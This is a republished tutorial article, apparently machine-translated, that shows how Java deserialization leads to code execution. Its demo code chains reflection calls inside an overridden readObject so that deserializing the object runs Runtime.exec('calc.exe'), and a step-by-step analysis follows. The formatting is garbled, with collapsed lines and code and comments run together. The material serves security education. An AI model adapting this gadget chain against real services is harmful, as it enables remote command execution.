In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-01-27 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)06/01 Report--
Java deserialization principle-Demo (2) 0x00 test code and running results
Test the code:
Package test;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.Serializable;public class ReflectionPlay implements Serializable {public static void main (String [] args) throws Exception {new ReflectionPlay () .run ();} public void run () throws Exception {byte [] ObjectBytes=serialize (getObject ()); deserialize (ObjectBytes) } / / return malicious object public Object getObject () {String command = "calc.exe"; Object firstObject = Runtime.class in this method ReflectionObject [] reflectionChains = {/ * * Object runtime = Class.forName ("java.lang.Runtime") .getMethod ("getRuntime", new Class [] {}) .invoke (null) Class.forName ("java.lang.Runtime") .getMethod ("exec", String.class) .invoke (runtime, "calc.exe") * / / call the getMethod method of Runtime.class to find the getRuntime method Get a Method object (getRuntime method) / / equivalent to Runtime.class.getMethod ("getRuntime", new Class [] {String.class,Class [] .class}) new ReflectionObject ("getMethod", new Class [] {String.class,Class [] .class}, new Object [] {"getRuntime", new Class [0]}) / / call the invoker method of Method to get a Runtime object / / equivalent to method.invoke (null). Static methods do not need to pass object new ReflectionObject ("invoke", new Class [] {Object.class, Object [] .class}, new Object [] {null, new Object [0]}), / / call the exec method of RunTime object Execute the command new ReflectionObject ("exec", new Class [] {String.class}, new Object [] {command})} with command as a parameter Return new ReadObject (new ReflectionChains (firstObject, reflectionChains));} / * * serialize objects to byte array * * / public byte [] serialize (final Object obj) throws IOException {ByteArrayOutputStream out = new ByteArrayOutputStream (); ObjectOutputStream objOut = new ObjectOutputStream (out); objOut.writeObject (obj); return out.toByteArray () } / * * deserialize objects from the byte array * * / public Object deserialize (final byte [] serialized) throws IOException, ClassNotFoundException {ByteArrayInputStream in = new ByteArrayInputStream (serialized); ObjectInputStream objIn = new ObjectInputStream (in); return objIn.readObject () } / * * A class that simulates vulnerabilities. The main function provided is to make reflection calls based on the values in your attributes * * / class ReflectionObject implements Serializable {private String methodName; private Class [] paramTypes; private Object [] args; public ReflectionObject (String methodName, Class [] paramTypes, Object [] args) {this.methodName = methodName This.paramTypes = paramTypes; this.args = args;} / / call public Object transform (Object input) throws Exception {Class inputClass = input.getClass (); return inputClass.getMethod (methodName, paramTypes) .invoke (input, args) using args as a parameter based on the method of finding objects by methodName and paramTypes }} / * * A class used to simulate malicious code, * the main function is to call ReflectionObject in series and form part of the vulnerability code together with ReflectionObject * * / class ReflectionChains implements Serializable {private Object firstObject; private ReflectionObject [] reflectionObjects Public ReflectionChains (Object firstObject, ReflectionObject [] reflectionObjects) {/ / ReflectionChains Construction method this.firstObject = firstObject; this.reflectionObjects = reflectionObjects;} public Object execute () throws Exception {Object concurrentObject = firstObject; for (ReflectionObject reflectionObject: reflectionObjects) {concurrentObject = reflectionObject.transform (concurrentObject) System.out.println (concurrentObject);} return concurrentObject }} / * A class waiting to be serialized has a property and an overridden readObject method * and a method for this property is executed in the readObject method * * / class ReadObject implements Serializable {private ReflectionChains reflectionChains; public ReadObject (ReflectionChains reflectionChains) {this.reflectionChains = reflectionChains } / / when deserialized, this code is called / / when the method is called, its properties are empty private void readObject (java.io.ObjectInputStream stream) throws IOException, ClassNotFoundException {try {/ / is used to simulate the readObject ReflectionChains= (ReflectionChains) stream.readFields (). Get ("reflectionChains", null) with some additional operations on its own properties ReflectionChains.execute ();} catch (Exception e) {e.printStackTrace ();}}
Running result:
0x01 Test Code Analysis
The classes involved:
Whether the class name inherits Serializable method name ReflectionObject inherits transformReflectionChains inherits executeReadObject inherits readObject (override)
Note: to create an antisequence vulnerability, you need to override the readObjec method
Code flow:
Serialize (getObject ()); serialize an object
GetObject (); generate a ReflectionObject array containing three ReflectionObject objects; then use the ReflectionObject array to generate a ReflectionChains object, and continue to use the ReflectionChains object to generate a ReadObject object
New ReflectionObject ("getMethod", new Class [] {String.class, Class [] .class}, new Object [] {"getRuntime", new Class [0]}), / / call the invoker method of Method to get a Runtime object / / equivalent to method.invoke (null). Static methods do not need to pass object new ReflectionObject ("invoke", new Class [] {Object.class, Object [] .class}, new Object [] {null) New Object [0]}), / / call the exec method of the RunTime object and execute the command new ReflectionObject ("exec", new Class [] {String.class}, new Object [] {command})} with command as a parameter Return new ReadObject (new ReflectionChains (firstObject, reflectionChains)); deserialize (ObjectBytes) Deserialize the serialized byte
Deserialize the incoming byte, because the incoming byte is serialized by a ReadObjec object, so you need to call ReadObjec's readObjec method (which has been overridden) private void readObject (java.io.ObjectInputStream stream) throws IOException, ClassNotFoundException {try {/ / to simulate the readObject ReflectionChains= (ReflectionChains) stream.readFields (). Get ("reflectionChains", null) with some additional operations on its own properties ReflectionChains.execute ();} catch (Exception e) {e.printStackTrace ();}}
Here we need to pay attention to
The argument passed in when the ReadObject object is generated is the ReflectionChains object, so the execute () method called here is the execute () method of ReflectionChains.
Then analyze the execute () method of ReflectionChains:
Public Object execute () throws Exception {Object concurrentObject = firstObject; for (ReflectionObject reflectionObject: reflectionObjects) {concurrentObject = reflectionObject.transform (concurrentObject); System.out.println (concurrentObject);} return concurrentObject;}
Key code:
From the above, we can see that the parameter passed in when generating the ReflectionChains object is the ReflectionObject array. The meaning of this code is to traverse the ReflectionObject array, and each element (ReflectionObject) executes the transform method.
Continue to analyze the transform method of ReflectionObject:
Public Object transform (Object input) throws Exception {Class inputClass = input.getClass (); get that input object is the class name of that class return inputClass.getMethod (methodName, paramTypes) .invoke (input, args); call a method of that class through the class name}
Note:
From the above analysis, we can see that the reflection chain for deserialization is:
Deserialize (ObjectBytes); call the readObject method of the ReadObject class; then call the execute method of the ReflectionChains class; and then call the transform method of the ReflectionObject class by traversing the ReflectionObject array
0x02 core analysis
From the above code analysis, what needs to be executed in the end is the following code:
New ReflectionObject ("getMethod", new Class [] {String.class, Class [] .class}, new Object [] {"getRuntime", new Class [0]}), / / call the invoker method of Method to get a Runtime object / / equivalent to method.invoke (null). Static methods do not need to pass object new ReflectionObject ("invoke", new Class [] {Object.class, Object [] .class}, new Object [] {null) New Object [0]}), / / call the exec method of the RunTime object, and execute the command new ReflectionObject ("exec", new Class [] {String.class}, new Object [] {command}) new ReflectionObject ("getMethod", new Class [] {String.class, Class [] .class}, new Object [] {"getRuntime", new Class [0]}) as a parameter, which is equivalent to executing Runtime.class.getMethod ("getRuntime"). New Class [] {String.class,Class [] .class}) new ReflectionObject ("invoke", new Class [] {Object.class, Object [] .class}, new Object [] {null, new Object [0]}) is equivalent to executing: method.invoke (null), static methods do not pass in the exec method of the object new ReflectionObject ("exec", new Class [] {String.class}, new Object [] {command}) RunTime object, and execute the command with command as a parameter
The first object execution is complete:
Runtime.class.getMethod ("getRuntime", new Class [0])
Output result: java.lang.Runtime.getRuntime () outputs a class
The second object execution is complete:
Runtime.class.getMethod ("getRuntime", new Class [0]) .invoke (null, new Object [0])
Output result: java.lang.Runtime@74a14482 outputs an object of Runtime
The second object execution is complete:
Runtime t = (Runtime) Runtime.class.getMethod ("getRuntime", new Class [0]) .invoke (null, new Object [0])
T.exec ("calc.exe")
0x03 supplements package test;import java.lang.reflect.InvocationTargetException;public class test5 {public static void main (String [] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException {/ / Class inputClass = input.getClass () / / inputClass.getMethod (methodName, paramTypes) .invoke (input, args) / / new ReflectionObject ("getMethod", new Class [] {String.class, Class [] .class}, new Object [] {"getRuntime", new Class [0]}) Class inputClass1 = Runtime.class.getClass () Object concurrentObject1 = inputClass1.getMethod ("getMethod", new Class [] {String.class, Class [] .class}) .invoke (Runtime.class, new Object [] {"getRuntime", new Class [0]}); System.out.println (inputClass1.getMethod ("getMethod", new Class [] {String.class, Class [] .class}) .invoke (Runtime.class, new Object [] {"getRuntime", new Class [0]}) / / public static java.lang.Runtime java.lang.Runtime.getRuntime () / / new ReflectionObject ("invoke", new Class [] {Object.class, Object [] .class}, new Object [] {null, new Object [0]}) Class inputClass2 = concurrentObject1.getClass (); Object concurrentObject2 = inputClass2.getMethod ("invoke", new Class [] {Object.class, Object [] .class}) .invoke (concurrentObject1, new Object [] {null, new Object [0]}) System.out.println (concurrentObject2); / / java.lang.Runtime@3d4eac69 / / new ReflectionObject ("exec", new Class [] {String.class}, new Object [] {command}) Class inputClass3 = concurrentObject2.getClass (); Object concurrentObject3 = inputClass3.getMethod ("exec", new Class [] {String.class}) .invoke (concurrentObject2,new Object [] {"calc.exe"}); System.out.println (concurrentObject3) / * * compare the user class: * inputClass.getMethod (methodName, paramTypes) .invoke (input Args) * description for parameters: * inputClass user.getClass () * method name of methodName call * parameter type of paramTypes calling method * input is an object of inputClass * parameter of args calling method * * function returns the result: * input Object calls the method of methodName (the passed parameter is args): for example, void setName (String name) {} returns null * * /}}.
Reference link: http://www.freebuf.com/vuls/170344.html
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.